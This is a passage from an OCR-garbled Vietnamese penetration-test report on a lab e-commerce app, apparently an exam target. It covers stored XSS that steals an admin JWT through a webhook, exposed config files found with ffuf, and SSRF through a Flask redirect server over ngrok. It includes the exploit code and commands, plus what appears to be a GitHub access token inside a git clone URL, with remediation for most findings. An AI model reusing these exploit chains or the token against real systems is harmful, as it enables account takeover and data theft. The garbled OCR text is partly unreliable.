>, AccountA, AccountA, AccountA

ArnmmimEl NOZONAOAD

Don hang cua toi

Tdtca Chdxdcnhan Panggiao Dagiao Dahuy

XIMI-YWNjb3VudGE6MTc4MTKINTCc30Tg5SNw==20/06/2026 | Ba

xac nhén Pa thanh todan

Chitiét >
Quadn boxer dui trdng

69.000 d

Téng thanh todn

72.600d

Step 4: Vao chi tiét don hang va report cho bot ctia admin xem



Don hang cua toi

Tatcd Chdxdcnhén Panggioo Pagiao Bahuy

XIMI-YWij3VudGE6MTc4MTk1NTc30Tg5NW= = 20/06/2026 Ba xdac nhéan Pa thanh todn Chitiét »
Quan boxer dui trang 69.000d
X1
Téng thanh todn 72.600d
SAN FHRAM
Quan boxer dui trang 69.000d
B 69.000d %1
Tam tinh 69.000 ¢
Phi van chuyén 3.600d
Téng cong / 72.600 d
Huy don hang &, Taihoda don

Khiéu nai don hang
Vui long chon ly do va mé t@ chi tiét dé ching téi hé trd ban nhanh
nhat.

Ly do *
Ly do khdc

M5 ta chi tiét *

AccountAAccountAAccountAAccountA

Step 5: Chuyén qua webhook nay dgi mét vai gidy dé lay dudc request mdi nhat

Quay lai Webhook.site va quan sat cac request mdéi dugc glii dén endpoint.



Do payload c6 thé da dudc trigger trudc dé bai phién ciia AccountA khi ma trang chi tiét don
hang, can kiém tra request mai nhat hoac phan biét request clia admin bot dya trén thai diém
nhan request, User-Agent, IP hoac gia tri cookie/JWT nhan dugc.

& Sign Up Now

[GET) #28a2b 103.70.12.208.
062072026 6:46:26 PM

Két qua: Webhook nhan dudc request mdi tif payload XSS. Trong request nay, tham s6 ¢ chia
cookie/IJWT dugc gui ti ngit cAnh clia admin bot. Diéu nay xac nhan rang payload Stored XSS c6
thé thuc thi trong admin context va exfiltrate admin session token.

Step 6: Quay lai trang web va chinh lai cookie trong devtool
Su dung cookie/IJWT nhan dudc tir webhook dé xac minh rang token nay thudc vé phién admin.

Trong trinh duy&t, ma& Developer Tools bang F12 hodc ctrl + Shift + I, sau dd cap nhat gia
tri cookie/session tuong Uing bang gia tri nhan dugc tir webhook.

€ Quay lai don hang

Don XIMI-YWNjb3VudGE6MTc4MTKINTc30TgSNw==

Ngay dat: 20/06/2026

Ba xac nhan Ba thanh toan

DIA CHI GIAO HANG THANH TOAN

A
ik [0  Elements Console Sources Network Performance Memory Application  Privacy and security >> 13 A181 | 8
Application “ C Y Filter
D Man Name Value
";;: S ers ximi_token
B storage

Storage
+ BB Local storage

Cookie Value Sh

ey cioiJIUzUxN Yy simlkljo c3ViljolYWNjb3VudGEILCJpYXQIOJE30ODESNT
AOMTc3Nn0.47DKU G2MJBE jkWOue NphfhbffF8GtCnlUJ8nMWnHI-LaBmTqtcHOkPE

Ung dung nhan dién phién hién tai & admin. Diéu nay xac nhan rang Stored XSS c6 thé din dén
admin session theft va cho phép attacker truy cap cac chiic nang danh cho admin.



e XimiPlace Q  Tim san phdm, thuong hiéu, ctia hang... =/ Ja) @ Ximi Admin

K&t qua: Vay la ta da [dy truy cap vao tai khoan ctia admin

2.2.5 Remediation

Ung dung can loai bo viéc render di liéu dia chi bang HTML sink nhu dangerouslySetInnerHTHL
tai trang Order Detail. Cac trudng nhu customerAddress, customerilard, customerDistrict va
customerCity la dif liéu do ngudi dung kiém soat, vi vdy khong nén dugc dua truc tiép vao DOM
dudi dang raw HTML.

O phia frontend, nén render cac gia tri ndy bang JSX thong thudng dé React ty dong escape ndi
dung:

<div>

{order. . }, {order. . }, {order. . },
{order. . }
</div>

N&u bat budc phai render HTML, ling dung can sanitize dif liéu bang thu vién dang tin cay nhu
DOMPurify trudc khi truy@n vao dangerouslySetInnerHTNML . Tuy nhién, véi trudng dia chi giao
hang, cach an toan hon la render dudi dang text, vi dit liéu nay khéng can ho trg HTML.

Ngoai ra, backend nén bd sung validation ho&c allowlist cho cac trudng dia chi khi nhan input. Vi
du, chi cho phép cac ky tu phl hdp véi dia chi nhu chi cai, s, khodng trang, dau cau théng dung,
dau gach ngang, dau phay va dau cham. Nhing ky tu hodc chudi cé kha nang tao
HTML/JavaScript nén bi tif chéi hoac xU ly phl hop.

Viéc validate input & backend giup giam kha nang luu payload déc hai vao database, nhung
khdng nén dudc xem la bién phap bao vé duy nhat. Bién phap quan trong nhat van la output
encoding dung nglt cAnh va tranh render dt liéu ngudi dung bang raw HTML & frontend.

Sau khi khac phuc, can bé sung test case dé ddm bao payload HTML/JavaScript trong cac trudng
dia chi chi dugc hién thi dudi dang van ban binh thudng va khéng dugc trinh duyét thuc thi.

2.3 XPE-01-003: Exposure of Internal Documentation
and Configuration Files


af://h3-13
af://h2-14

2.3.1 Description and Impact

Ung dung dé 16 mot s file va endpoint nhay cam trén mai trudng public, bao gom docker-

compose.yml, robots.txt va swagger-ui.html.

C4c tai nguyén nay co thé cung cap cho attacker thém thdng tin vé cau tric hé thdng, cong nghé
st dung, service ndi bd, endpoint API va cac dudng dan khdng nén dudc public. Dic biét, file cau
hinh nhu docker-compose.yml cé thé tiét 6 tén service, port, network, bién mdi trudng, volume
mount hodc thdng tin trién khai ctia hé thang.

M&c du ban than viéc truy cip cac file nay chua truc tiép dan dén chiém quyén hé théng, thdng
tin bi 16 c6 thé ho trg attacker trong qud trinh reconnaissance, xac dinh attack surface va xay
dung cac hudng khai thac tiép theo. Vi vay, day [& mot 16i Information Disclosure do cau hinh
trién khai chua an toan.

2.3.2 Root Cause

L6 hdng nay xay ra do server public cho phép truy cap truc tiép dén céc file hoac endpoint khdng
can thiét trén mai trudng production.

Cu thé, cac tai nguyén nhu docker-compose.yml, robots.txt va swagger-ui.html van dudc
dat trong pham vi cé thé truy cap ti Internet. Diéu ndy cho thay Ung dung hodc web server chua
c6 cd ché chin truy cap déi véi cac file cAu hinh, tai liéu ndi bd hoac tai liéu API chi nén ding
trong mdi trudng development/testing.

Trong do, docker-compose.yml la file cAu hinh trién khai va khdng nén dudc expose public.
swagger-ui.html co thé tiét 16 danh sach API endpoint, request/response schema va cac chic
nang ndi bd clia hé théng. robots.txt tuy la file hop L& trén web server, nhung néu chita cac
dudng dan nhay cam thi cling c6 thé [am 6 thém théng tin cho attacker.

Nguyén nhan chinh (& thiéu hardening & tAng web server/static file serving va chua tach biét ré

cac tai nguyén chi dung cho ndi bé khoi moi trudng public production.

2.3.3 Steps to reproduce

3 day, ta dung cdng cu phd bién dé bruteforce cac dudng dan, cu thé la ffuf véi ci phap nhu sau:

ffuf -w <path-to-wordlist> -u http://ximiplace.exam.cyberjutsu-lab.tech/FUZZ -fw 156 -f1
22

Vé&i wordlist hién tai dang dung la fuzz-Bo@oM. txt , co thé tai vé tai SecLists.

Trong do, -fw 156 va -f1 22 dudc st dung dé filter cac response c6 clng s6 lugng word va
line, nham loai bd cac response mac dinh khéng lién quan.


https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/fuzz-Bo0oM.txt
af://h3-15
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[tiephua@fedora ~]$%

[tiephua@fedora ~]$%

Két qua: Fuzzing cho thdy mot s6 dudng dan nhay cam co thé truy cap dudc, bao g6m docker-

compose.yml, robots.txt va swagger-ui.html.
Step 2: Access exposed docker-compose.yml

Truy cp dudng dan docker-compose.yml :

,,,,, Y 2

S - - 4, docker-compose
9 XimiPlace Q  Tim san pham, thuong hiéu, clia hang... (4).yml P Keep

Insecure d ad blocked

Két qua: File docker-compose.yml cé thé dudc truy cap va tai xudng ti bén ngoai. File nay tiét
16 théng tin cAu hinh trién khai, service name, network ndi bé va cac bién madi trudng lién quan
dén hé thang.


http://ximiplace.exam.cyberjutsu-lab.tech/docker-compose.yml

Step 3: Access exposed robots.txt

Truy cap dudng dan robots. txt :

O ] Q Not Secure [Iximipla xam.cyberjutsu-lab.tech;robots.x

£+ Most Visited @ Fedora Docs November 8, 2025 2... ™ Fedora Magazine [0 Fedora Project Project 2 Assignment 4 Bai tap vé nha - Goo... [JUser Communities [JRed Hat]

Két qua: File robots.txt cd thé dudc truy cap cong khai va tiét 16 dudng dan dén thu muc nhay
cam. Théng tin nay hd trg attacker trong qué trinh xac dinh cac endpoint hoac tai nguyén ndi bd
co gia tri.

Step 3: Access exposed Swagger documentation

Truy cap dudng dan swagger-ui.html :

o C O Not Secure cyberjutsu-lab.tect l0ad - Tim trén Google & R ) & -
3 Most Visited @ FedoraDocs ~ November 8, 2025 2... ™ Fedora Magazine [ Fedora Project  Project 2 Assignment 4 Bai tap vé nha - Goo... 5 s Lixeamat Lirree Content @ Khtn GPA 2.0 [3Cyberjutsu (@ Giai bai xdc sudt
‘m /api/v1/carts/items/{itenId} v
158 /api/vl/carts/items a8V
a0 /api/vi/carts @V
‘m /api/vi/carts v
admin-controller ~
L2500 /api/vi/admin/notifications av
/api/vl/admin/users/{userId}/status a8V
/api/vl/admin/stores/{storeld}/status v
/api/v1/adnin/products/{productId}/status &V
/api/vl/admin/orders/{orderId}/status &V
50 /api/vi/admin/users v
530 /api/vl/admin/stores &V
20 /api/v1/admin/products & v
20 /api/vi/adnin/orders &V
20 /api/vi/adnin/orders/{orderId} av
(50 /api/vi/admin/dashboard av

Két qua: Ung dung redirect tU /swagger-ui.html sang /swagger-ui/index.html. Tai day,
Swagger documentation bi expose va [am 16 danh sach API endpoint, bao g6m ca cac endpoint
danh cho admin.

2.3.4 Remediation

Khdéng nén public céc file cau hinh trién khai, tai liéu ndi bd hodc API documentation trén moi
trudng production néu khdng that su can thiét.

Cu thé, can thuc hién cac bién phap sau:

Xda docker-compose.yml khodi web root hodc bat ky thu muc nao dudc public béi web

server.


http://ximiplace.exam.cyberjutsu-lab.tech/robots.txt
http://ximiplace.exam.cyberjutsu-lab.tech/swagger-ui.html
http://ximiplace.exam.cyberjutsu-lab.tech/swagger-ui/index.html
af://h3-18

C4au hinh web server dé chan truy cap céc file cdu hinh nhay cdAm nhu .env, docker-
compose.yml, application.properties, *.yml, *.yaml, *.bak, *.o0ld, *.backup.

Tat Swagger UI trén méi trudng production, hoac gidi han truy cp bang authentication/IP
allowlist/VPN noi bo.

Kiém tra lai ndi dung robots.txt dédam bao khdng tiét 16 cac dudng dan nhay cam. Tuy
chiic n3ng clia robots.txt chan cho bot khdng crawler dén dudng dan minh mudn, nhung
d6i véi nhiing dudng dan nhay cdm thi nén set quyén truy cap thay gi chan truc tiép trén
robots. txt

Tach biét ro tai nguyén development/testing khoi production deployment.

Thém kiém tra trong CI/CD dé tranh deploy nham file cAu hinh hoac tai liéu ndi bd l&n public
web root.

Sau khi khac phuc, can kiém tra lai cadc dudng dan da phat hién va dam bao ching tra vé 403
Forbidden, 404 Not Found, hodc chi truy cap dugc qua ké&nh ndi bd c6 kiém soat.

2.4 XPE-01-004: Server-Side Request Forgery (SSRF)
via Store Logo URL Fetching and Public Upload Storage

2.4.1 Description and Impact

Attacker c6 thé chén mot URL do minh kiém soat vao trudng imagePath khitao hodc cap nhat
thdng tin clra hang. Backend st dung URL nay dé tai logo clfa hang bang cach thuc hién HTTP
request truc tié'p tU server.

Ung dung chi kiém tra URL ban d&u st dung HTTPS va c6 hostname, nhung khong kiém tra
hostname hodac dia chi IP co6 thudc localhost, private network, link-local network hoac cac dai
dia chi ndi bo hay khong.

Ngoai ra, HTTP client dudc cau hinh ty déng follow redirect. Vi vy, attacker cé thé cung cAp mot
URL HTTPS cdng khai do minh kiém soat, sau dé redirect request ctia backend dén mét dich vu
ndi bo:

https://attacker.example/redirect

-> 302 Location: http://cdn/_private/backup/.env
-> 200 OK

URL trong header Location va URL dich cudi cling khdng dugc validate lai trudc khi backend g
request.

L6 hdng nay cho phép attacker gi dung server lam proxy dé:
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GUi HTTP request dén céc dich vu chi cé thé truy cap ti mang ndi bo.

Truy cap dich vu dang chay trén localhost clia application server.

Quét port hodc xac dinh cac dich vu ndi bo dua trén thai gian va response cua server.
Truy cap cloud metadata service néu (ing dung dudc trién khai trén mai trudng cloud va
metadata endpoint khdng co bién phap bao vé bé sung.

Vugt qua network access control dua trén vi tri cGa application server.

Poc ndi dung response tl dich vu ndi bd trong mdt sé trudng hap.

MUc do anh hudng tang lén vi backend luu toan bd response body nhan dugc thanh mot file
trong thu muc upload ma khéng kiém tra Content-Type hodc xac nhan ndi dung thuc su la &nh.
File sau d6 dugc public thong qua dudng dan /uploads/** . Vivay, attacker cé thé [Ay dudng dan
file tra vé& va doc lai ndi dung response da dugc server tai xuéng.

2.4.2 Root Cause

L6 héng nay ban dau dudc xac dinh thong qua kiém thit black-box va sau d6 dudc xac nhan lai

bang source code review.

Pau tién, API cip nhat clfa hang nhan truc tiép dif liéu JSON request tif ngudi dung thdng qua
UpdateStoreRequest

tai: backend/source/src/main/java/com/cbjs/ximiplace/controller/StoreController. java

aPutMapping("/{storeId}")

public ResponseEntity<StoreResponse> updateStore(
aPathVariable Long storeld,
aValid @aRequestBody UpdateStoreRequest request

)

return ResponseEntity.ok(storeService.updateStore(storeld, request));

1
Trudng imagePath trong UpdateStoreRequest cho phép ngudi ding cung cap mot chudicéd do
dmt5i6a700ky
tu: backend/source/src/main/java/com/cbijs/ximiplace/dto/store/UpdateStoreRequest. jav
a

aSize(max = 700)

private String imagePath;

Annotation aSize(max = 700) chikiém tra dd dai ctia chudi. N6 khdng xac dinh URL c6 tré dén
dia chi ndi bo hoac tai nguyén an toan hay khong.

J phia frontend, gia tri logo URL dudc chuyén truc tiép thanh imagePath trong request glfi dén

backend: frontend/source/src/services/api/adapters.ts
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export const toBackendStoreUpdate = (payload: UpdateStoreRequest) => ({
...("logoUrl™ in payload || "imagePath" in payload
? { imagePath: payload.logoUrl ?? payload.imagePath }
{1,
DK

Frontend guii request cap nhat clra hang dén

endpoint: frontend/source/src/services/api/store.api.ts

const { data } = await http.put(
‘/stores/${storeld} ",
toBackendStoreUpdate(payload)

J;
Viéc validation tai frontend khéng phai la mét security boundary vi attacker c6 thé bd qua
frontend va glii HTTP request truc tiép dén backend.

Sau khi nhan request, StoreService kiém tra clta hang ton tai va ngudi dung hién tai co phai
chd s& hitu clia clra hang hay

khong: backend/source/src/main/java/com/cbjs/ximiplace/service/StoreService. java

User user = currentUserService.getCurrentUser();

Store store = storeRepository.findById(id)
.orElseThrow(() -> new NotFoundException("Store not found"));

isActiveStore(id);

if (luser.getId().equals(store.getOwner().qgetId())) {
throw new UnauthorizedException("Unauthorized");

}

Sau do, néu request chifa imagePath, service truyén truc tiép URL nay dén

RemoteStoreImageService.downloadStorelLogo() :

storeMapper.updateEntity(request, store);

if (request.getImagePath() != null) {
store.setImagePath(
remoteStoreImageService.downloadStorelogo(
request.getImagePath(),
store

)

Tai RemoteStoreImageService, Ung dung trudc tién kiém tra xem gia tri c6 phai mét dudng dan
upload dugc quan ly bai tng dung hay
khong: backend/source/src/main/java/com/cbjs/ximiplace/service/RemoteStoreImageServi

ce.java



String managedPath = normalizeManagedUploadPath(imageUrl);

if (managedPath != null) {
return managedPath;

}

Né&u URL khdng dudc nhan dién & managed upload path, iing dung parse URL va thuc hién
request tU backend:

URI uri = parseAndValidateInitialUrl(imageUrl);
byte[] content = fetch(uri);
return saveAsPng(content, "stores/" + store.getId() + "/logo");

Method parseAndValidateInitialUrl() chikiém tra scheme cla URL ban dau [a HTTPS va
URL cé hostname:

private URI parseAndValidateInitialUrl(String imageUrl) {
URI uri;

try {
uri = URI.create(imageUrl.trim());
} catch (IllegalArgumentException ex) {
throw new BadRequestException("Invalid image URL");

}

if (!"https".equalsIgnoreCase(uri.getScheme())) {
throw new BadRequestException(
"Only HTTPS image URLs are supported”

)

if (!StringUtils.hasText(uri.getHost())) {
throw new BadRequestException(
"Image URL host is required”

)

return uri;

Viéc chi y&u cau HTTPS khong du dé ngan SSRF. Ung dung khong thuc hién cac kiém tra quan
trong nhu:

» Resolve hostname thanh dia chi IP trudc khi gui request.
» Chan IPv4 va IPv6 loopback.

« Chan private, link-local, multicast va reserved IP.

» Chan cloud metadata address.

« Kiém tra lai dia chi IP sau DNS resolution.

+ Phong chéng DNS rebinding.



Ap dung allowlist hostname dudc phép tai anh.

Root cause truc tiép tiép theo nam trong method fetch() . HTTP client dugc cau hinh tu ddng
follow moi redirect:

HttpClient client = HttpClient.newBuilder()
.connectTimeout(REQUEST_TIMEOQOUT)
.followRedirects(HttpClient.Redirect.ALWAYS)
.build();

Sau d6, backend tao va glii GET request dén URL do ngudi dung kiém soét:

HttpRequest request = HttpRequest.newBuilder(uri)
.timeout (REQUEST_TIMEOUT)
.GETQ)
.build();

HttpResponse<InputStream> response;

try {
response = client.send(
request,
HttpResponse.BodyHandlers.ofInputStream()
J):

} catch (IOException ex) {
throw new ApiException(
HttpStatus.BAD_GATEWAY,
"Failed to fetch remote image”

)

client.send() l& SSRF sink vi tai day application server thuc su glii network request dén URL
dugc tao tU input clia ngudi dung.

Do HttpClient.Redirect.ALWAYS dugc st dung, Java HTTP client ty dong xU ly cac response
redirect nhu 301, 302, 307 hoic 308. Ung dung khong cé ca hoi validate URL nam trong
header Location trudc khi request tiép theo dugc gi.

URL ban dau c6 thé la HTTPS va thudc server céng khai cta attacker, nhung redirect target c6
thé trd dén localhost hodc internal network:

https://attacker.example/redirect
-> http://cdn/_private/backup/.env

Sau khi redirect hoan tat, ing dung chi kiém tra HTTP status cla response cudi cling:

int status = response.statusCode();

if (status < 200 || status >= 300) {
throw new BadRequestException(
"Remote image URL returned an invalid response”



)

Doan kiém tra trén chi xac nhan response cudi cung cé status thuéc nhém 2xx , nhung khéng
ngan SSRF. Khi redirect target trd vé 200 0K, diéu kién trén dugc vugt qua du request cudi cling
da dugc gli dén mot dia chi ndi bd.

Backend tiép tuc doc toan bd response body:

try (InputStream input = response.body()) {
return readLimited(
input,
uploadProperties.getMaxSizeBytes()
J):

Ung dung ¢ gidi han kich thudc response, mac dinh la 5 MB:

private long maxSizeBytes = 5242880;

Tuy nhién, gigi han kich thudc chi gidm nguy ca tai response qua lén; nd khong ngan server gui
request dén dia chi ndi bé.

Response body sau dé dudc ghi truc tiép xudng file c6 extension .png ma khéng kiém tra
Content-Type, file signature hoac dinh dang anh:

private String saveAsPng(byte[] content, String subDir) {
String filename =
"store-logo-"
+ UUID.randomUUID().toString().replace(”-", "")

C e
Path baseDir = Paths.get(uploadProperties.getDir())
.toAbsolutePath()
.normalize();

Path targetDir = baseDir.resolve(subDir).normalize();

Files.createDirectories(targetDir);
Files.write(targetDir.resolve(filename), content);

String baseUrl = normalizeBaseUrl(
uploadProperties.getBaseUrl()

)
return baseUrl
s "/"
+ StringUtils.cleanPath(subDir)
+ n/n
+ filename;



Vi khdng cé budc xac nhan response la anh, response ti mot internal API dudi dang JSON, HTML
ho&c plain text van cé thé dugc luu thanh file .png.

Thu muc upload dudc expose truc tiép qua HTTP
tai: backend/source/src/main/java/com/cbjs/ximiplace/util/config/UploadResourceConfig

.java

registry
.addResourceHandler(baseUrl + "/#%")
.addResourcelLocations(uploadDir.toUri().toString());

Pong thdi, /uploads/** dudc cAu hinh cho phép truy cap cdng khai

tai: backend/source/src/main/java/com/cbjs/ximiplace/util/config/SecurityConfig. java

.requestMatchers(
"/uploads/**"
) .permitA11()

Do d9, response body dudc tai tir internal service cé thé dugc luu lai va truy cap théng qua URL
do API tra vé. Piéu nay bién 16 hng tir Blind SSRF don thuan thanh SSRF c6 kha nang doc
response trong nhiing trudng hgp khai thac thanh cong.

Ngoai endpoint cap nhat clfa hang, cung SSRF sink cling dudc goi tai endpoint tao clra hang:

aPostMapping
public ResponseEntity<StoreResponse> createStore(
aValid @aRequestBody CreateStoreRequest request

)

return ResponseEntity.ok(storeService.createStore(request));
1

Trong StoreService.createStore() :

if (request.getImagePath() != null) {
saved.setImagePath(
remoteStoreImageService.downloadStorelogo(
request.getImagePath(),
saved

saved = storeRepository.save(saved);

Do d9, ca hai endpoint sau déu bi anh hudng:

POST /api/vl/stores
PUT /api/vil/stores/{storeld}



Nguyén nhan chinh cla 6 héng la backend thuc hién HTTP request dén URL do ngudi ding kiém
soat ma khong gidi han destination network, dong thdi tu dong follow redirect ma khong validate
lai ting redirect target. Response cudi cling con dudc luu vao thu muc public ma khéng xac nhan
ndi dung la &nh, lam tang kha nang attacker doc dif liéu tra vé ti dich vu ndi bé.

2.4.3 Preconditions

L6 hdng nay yéu cau tai khoan da dang nhap va cé role SELLER, vi endpoint bi anh hudng chi

danh cho seller.
Trong trudng hop khai thac ddc lap, attacker can cé san tai khoan SELLER.

Piéu kién nay dat dugc thdng qua cac budc trudc dé: attacker khai thac Stored XSS tai XPE-01-
002 dé lay admin JWT access token (thdng qua viéc report order cho admin sau dé bot doc va
gl JWT access token ctia admin vé webhook ctia minh), sau dé st dung quyén admin dé thay
d6i role tai khodn ctia minh thanh SELLER.

2.4.4 Steps to reproduce

Step 1: ST dung ngrok dé expose mét local server ra Internet va nhan request tif bén ngoai
Ngudi doc co thé tai va cai dat ngrok theo hudng dan chinh thiic tai ngrok download page
Sau khi cai dat ngrok, tao file app.py vGi ndi dung sau:

from flask import Flask, redirect, request
app = Flask(__name__)

aapp.route("/redirect™)
def redirect_to():
target = request.args.get("to")

if not target:
return "Missing ?to=URL", 400

print(f"[+] Redirecting to: {target}™)
return redirect(target, code=302)

if __name__ == "__main

app.run(host="0.0.0.0", port=8000)

Server nay c6 mét endpoint la /redirect va nhan tham sd la to dé khi bén ngoai truy cap vao
dudng dan /redirect?to=<url-redirect-target> thind sé tu ddng redirect sang <url-

redirect-target>

Cai dependency can thiét va chay local server:

pythond -m pip install flask
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puythond app.py

G mot terminal khac, expose local server bang ngrok :

ngrok http

) ~/Documents/workspace/cybersecurity/cyberjutsu/exam/server
[tiephua@fedora server]$

[tiephua@fedora server]$

) ngrok http 8000

[tiephuagfedora s:

K&t qua: Thdng qua ngrok, c6 thé s hitu mdt server dé nhan request https://unconforming-
podgily-byron.ngrok-free.dev va endpoint dugc st dung tucong Ung la

https://unconforming-podgily-byron.ngrok-free.dev/redirect?to=<url-redirect-
target>


https://unconforming-podgily-byron.ngrok-free.dev/
https://unconforming-podgily-byron.ngrok-free.dev/
https://unconforming-podgily-byron.ngrok-free.dev/redirect?to=%3Curl-redirect-target%3E
https://unconforming-podgily-byron.ngrok-free.dev/redirect?to=%3Curl-redirect-target%3E

Step 2: Truy cap vao tai khoan Admin da lay dugc tif XPE-01-002 va nang quyén cla
AccountA lén Nguoi Ban

e XimiPlace Q Tim san phdm, thudng hiéu, cla hang... =) Qo @ Ximi Admin
Xin chao, Ximi Admin
2 Hé sd cla téi

Baon hang cua téi

\ Théng bdo

Admin Console

[> Dbang xuat

un
XimiPlace @0 Admin Console & Véciia hang
Admin Console
#
S . 5 15
Quan ly Ngudi dung ”
98 Téng quan Quan ly tai khodn trong hé théng 5
15
2 Ngudi dung I 5
O 15
& Cuia hang Tim theo tén / email... Tatca vaitro v =
. 15
& San pham "
@ Don hang Ngudi ding Vai tro Ngay tao ::
&2 Voucher - 4
Q..o Accoumd Ngudiban 20/06/2026 |
F:] Khléu nc" o accounta@gmail.com
0 Théng bao -, & \ Khdch hang
ccoun o
('i" accountb@gmail.com ' Nguoi ban 20/06{2026
Quan trj
- -

Két qua: AccountA hién tai da co role la SELLER, nh& dé cd thé st dung nhiing endpoint cta role
nay

Step 3: Pang nhap lai vao trong tai khoan cuia AccountA va tao ctia hang véi URL logo la
payload SSRF



Chdo mung tré lai

Péng nhép dé tiép tuc mua sdm trén XimiPlace

Email

B AccountA@gmail.com

Mat khdu

\ a SEsREREREREERERR Y
Pdng nhép

Chua co tai khoan? Bang ky ngay

O

SU dung payload SSRF nhu sau:

https://unconforming-podgily-byron.ngrok-free.dev/redirect?
to=http://cdn/_private/backup/.env

V8i _private/backup/ dugc Ay ti file robots.txt bildrad 16 hdng XPE-01-003



| € Cifa hang |

s Tao clia hang

Dién day du théng tin dé khdi tgo gian hang

URL Logo ctta hang

https://unconforming-podgily-byron.ngrok-free.dev/redirect?to=http

Dan dudng dan anh vudng (ti 1& 1:1) dé hién thi tot nhat.

Tén ctia hang * Slug (tuy chon)
AccountA accounta
M6 ta *

AccountAAccountAAccountA

4
242000

Piachi *
AccountAAccountA
S6 dién thoai lién hé * Email lién hé *
0939049621 [ AccountA@gmail.com| )

\

Step 3: Tai vé file da dudc upload lén server cdn

Sau bén BE fetch url https://unconforming-podgily-byron.ngrok-free.dev/redirect?
to=http://cdn/_private/backup/.env thibiredirect d&n http://cdn/_private/backup/.env
va nhg cau hinh & file docker-compose.yml (da dudc tém gon) bi 16 & 16 h6ng XPE-01-003 :

backend:
networks:
- ximiplace
cdn:
networks:
- ximiplace

networks:
ximiplace:
driver: bridge

Nén la container clia backend va cdn & chung mdt network nén docker cé thé resolve dns theo
tén container, nhS do, backend follow redirect dén file .env & server cdn va lay ndi dung dé
upload lén cdn v&i endpoint [a /uploads/stores/15/1ogo/store-logo-
Bb61f77Fecbf4193089517F0F fbaZeaf . png



& Cua hang cua toi

- i ) : . o ) Hoat déng
Cdp nhat théng tin hién thi céng khai

URL Logo cla hang

/uploads/stores/15/logo/store-logo-5bé&1f7 7fechf4193b89517f0ffba/esd

Dan dudng dén anh vudng (ti L& 1:1) d& hién thi tot nhat
Tén ctta héang * Slug (tuy chon)
AccountA accounta

Tiép theo st dung command trén terminal dé tai file:

curl -sL "http://ximiplace.exam.cyberjutsu-lab.tech/uploads/stores/15/1ogo/store-logo-
5b61f77fecbfd4193b89517Ff0ffba7edf.png"” | tee leaked.env

Két qua: file .env da bj 16 ra kém theo link backup cliing véi nhiing config nhay cam
Step 4: Ly source code ti link backup
SU dung command nhu sau:

mkdir -p _private/backup

git clone
https://github_pat_11BNZ3QLYOBZKch7YP4jkP_01JoMpb0jMi3FNHX5QRo86gWRMO82yopIjisVIXbg9pSLZ
XJHEMsNYHbsUFagithub.com/emmamarshall237/ximibackup.git _private/backup

Két qua: Source code backup da dudc tai vé

2.4.5 Remediation
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Ung dung can xt ly 16 hdng nay & nhiéu l8p, vi nguyén nhan khéng chi ndm & viéc nhan URL tu
ngudi dung, ma con nam & viéc backend tu ddng follow redirect va luu response body vao thu
muc public ma khong xac thuc ndi dung.

Trudc hét, backend khéng nén fetch truc tiép URL bat ky do ngudi dung cung c&p. Néu chiic ndng
tai logo tir URL la can thiét, ing dung nén ap dung allowlist hostname hoc domain dudc phép
tai &nh. Vi du, chi cho phép tai anh ti cac CDN hoac domain tin cdy da dudc cau hinh trudc.
Khéng nén chi kiém tra URL cé scheme https va cd hostname, vi attacker van c6 thé dung mot
HTTPS domain céng khai dé redirect request dén dia chi ndi bo.

Ung dung can resolve hostname thanh dia chi IP trudc khi guii request va chan cac destination
khéng an toan, bao gom:

localhost, 127.0.0.0/8, ::1

Link-local ranges nhu 169.254.0.0/16

IPv6 local/link-local/private ranges

Cloud metadata address nhu 169.254.169.254

Multicast, reserved hoac unspecified address

Ngoai ra, can phong chéng DNS rebinding bang cach kiém tra dia chi IP sau DNS resolution va
dam bao request thuc té chi dudc gui dén IP da dugc validate. Néu hostname resolve ra nhiéu
IP, tat cd IP déu phai nam trong pham vi cho phép.

Péi véi redirect, khdng nén st dung cau hinh tu ddng follow moi redirect nhu sau:

.followRedirects(HttpClient.Redirect.ALWAYS)

Thay vao dd, nén tat auto redirect va tu xu ly redirect tha céng:

HttpClient client = HttpClient.newBuilder()
.connectTimeout (REQUEST_TIMEOUT)
.followRedirects(HttpClient.Redirect.NEVER)
.build();

Mbi khi nhan response redirect nhu 301, 302, 307 hoac 308, (ing dung phai lay URL trong
header Location, resolve thanh URL tuyét d6i néu can, sau dé validate lai toan bd URL va
destination IP trudc khi guii request tiép theo. Néu redirect target trd dén localhost, private
network, link-local network hoac metadata service thi phai chan request.

Ung dung ciing can xac thuc ndi dung response trudc khi luu file. Khdng nén luu truc ti€p
response body thanh file .png chidua trén extension tu dat. Backend can kiém tra Content-
Type , file signature va t6t nhat la decode anh bang thu vién x{ ly &nh an toan, sau dé re-encode



lai thanh dinh dang anh hgp & nhu PNG hoac JPEG. Cac response khong phai anh, vi du JSON,
HTML hoéc plain text, phai bi tir chéi.

Ngoai ra, khong nén luu raw response tu remote URL vao thu muc public trudc khi xac thuc noi
dung. Chi céac file da dugc xac nhan [ anh hgp & méi dudc dua vao thu muc c6 thé truy cap qua
/uploads/*x . Néu can luu tam, file nén dudc dat trong thu muc private khéng public va chi dugc
move sang public storage sau khi validation hoan tat.

0 tang ha tang, nén bs sung egress filtering cho container hodc server chay backend.
Application server khdng nén dudc phép gui request dén localhost service, internal network
ho&c cloud metadata endpoint néu khdng can thiét. Bién phap nay gilp gidm tac dong ngay ca
khi logic application con thiéu sot.

Sau khi khac phuc, can bé sung test case cho ca endpoint tao va cap nhat clra hang:

POST /api/vil/stores
PUT /api/vl/stores/{storeld}

CAc test case nén bao gom:

URL &nh hap (& tir domain dudc phép van hoat déng binh thudng.

URL tro truc tiép dén 127.0.0.1, private IP hodc metadata IP bi chan.

HTTPS URL cdng khai nhung redirect dén internal IP bi chan.

Hostname resolve ra private IP bi chan.

Response khdng phai anh nhung tra vé 200 ok khdng dudc luu vao /uploads/** .

File chi dugc public sau khi xac nhan néi dung thuc su la anh hgp (€.

Tém lai, hudng khac phuc chinh la gisi han destination ma backend dudc phép fetch, validate lai
tung redirect target, xac thuc ndi dung response la anh hgp € trudce khi luu, va khong expose raw
response body ra public upload storage.

2.5 XPE-01-005: Second-order SQL Injection (SQLI) in
/api/vl/seller/product-filters/{id}/products

2.5.1 Description and Impact

Attacker c6 role SELLER cé thé chén SQL payload vao cac trudng ctia b loc san pham, chang
han nhu keyword, sortBy hodc sortDir . Payload nay dudc luu lai khi tao bd loc, sau do dugc
backend st dung lai khi attacker goi endpoint 4y danh sach sadn pham theo bé loc.
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Do backend x4y dung cu SQL bang cach néi chudi tir dif liéu da luu ma khéng st dung
